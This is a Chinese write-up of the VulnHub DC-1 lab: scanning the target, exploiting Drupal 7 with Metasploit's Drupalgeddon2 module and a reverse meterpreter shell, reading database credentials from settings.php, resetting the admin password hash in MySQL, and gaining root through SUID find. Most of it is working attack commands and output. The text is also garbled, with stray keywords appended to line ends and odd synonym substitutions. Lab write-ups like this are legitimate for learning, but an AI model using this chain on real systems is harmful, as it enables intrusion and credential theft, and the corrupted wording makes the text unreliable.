2021-08-08完成php
个人选择python
虚拟机:VMware15mysql
攻击机:kali-2021web
靶机:DC-1sql
浏览器:谷歌浏览器、火狐浏览器shell
DC-1靶机下载地址:数据库
https://www.vulnhub.com/entry/dc-1-1,292/后端
其余下载内容见我以前的博客或者本身搜索浏览器
各个设备的关系bash
kali与DC-1均为桥接模式
使得本机、kali、DC-1成为三个独立的设备
也能够kali与DC-1均为NAT模式,则本机成为路由器(网关)
扫描主机
arp-scan -l
192.168.10.105
网站信息
whatweb 192.168.10.105
CMS版本:Drupal 7
网站目录
安装joomscan
检查有这个工具:apt-cache search joomscan
开始下载该工具:apt-get install joomscan
joomscan --url 192.168.10.105
++] robots.txt is found
path : http://192.168.10.105/robots.txt
http://192.168.10.105/UPGRADE.txt
http://192.168.10.105/?q=user/login/
查询漏洞
根据Drupal 7所具备的漏洞进行有选择的入侵
Drupa7.x存在远程代码执行漏洞
漏洞利用
MSF
#打开MSF控制台
msfconsole
#搜索drupal漏洞
search drupal
#使用漏洞4
use exploit/unix/webapp/drupal_drupalgeddon2
#Interact with a module by name or index. 使用名字或者索引号进行交互,下面是举例
#For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval
#查看漏洞信息
info 4
#加载攻击荷载(装导弹)
set payload
set payload php/meterpreter/reverse_tcp
#攻击地址
set RHOST 192.168.10.105
#本机地址
set LHOST 192.168.10.106
#开炮
exploit
#Meterpreter session 1 opened (192.168.10.106:4444 -> 192.168.10.105:56502)
#此时已经进来了
pwd #查看当前所处位置
ls
进入服务器
为何要进入sites/default/而且查看settings.php
cd sites
ls
cd default
ls
cat settings.php
我的认为:与web先后端开发网站的配置有关 => 因此要学习web先后端内容(PHP、mysql)
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
登录数据库
#使用shell
shell
#经过python控制bash
python -c 'import pty;pty.spawn("/bin/bash")'
#伪终端(pseudo terminal,简称pty)
#spawn类属于python中的知识
#经过bash登录mysql
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users\G;
#使用它的php生成密码为123.com的哈希值,一会替换
#所在目录为/var/www
php scripts/password-hash.sh 123.com
#password: 123.com
#hash: $S$D6JEFRBRZVIe5sxfWxxJdWuTMNxu6G17.2endA.piks9DUsegcG4
#登录mysql
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
update users set pass="$S$D6JEFRBRZVIe5sxfWxxJdWuTMNxu6G17.2endA.piks9DUsegcG4" where uid=1;
#网址登录admin,123.com
查看配置
cat /etc/passwd
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
#这是什么意思?须要用到Linux的知识
https://www.sohu.com/a/320177323_505901
https://blog.csdn.net/yttitan/article/details/73930244
#进入/tmp目录下并创建test文件夹
cd /tmp
touch test
#在tmp中使用find查找
find test -exec "whoami" \; #肯定本身是什么身份
find test -exec"/bin/sh" \; #如果root,则root的bash
#进入/root目录查看信息
cd /root
ls
cat thefinalflag.txt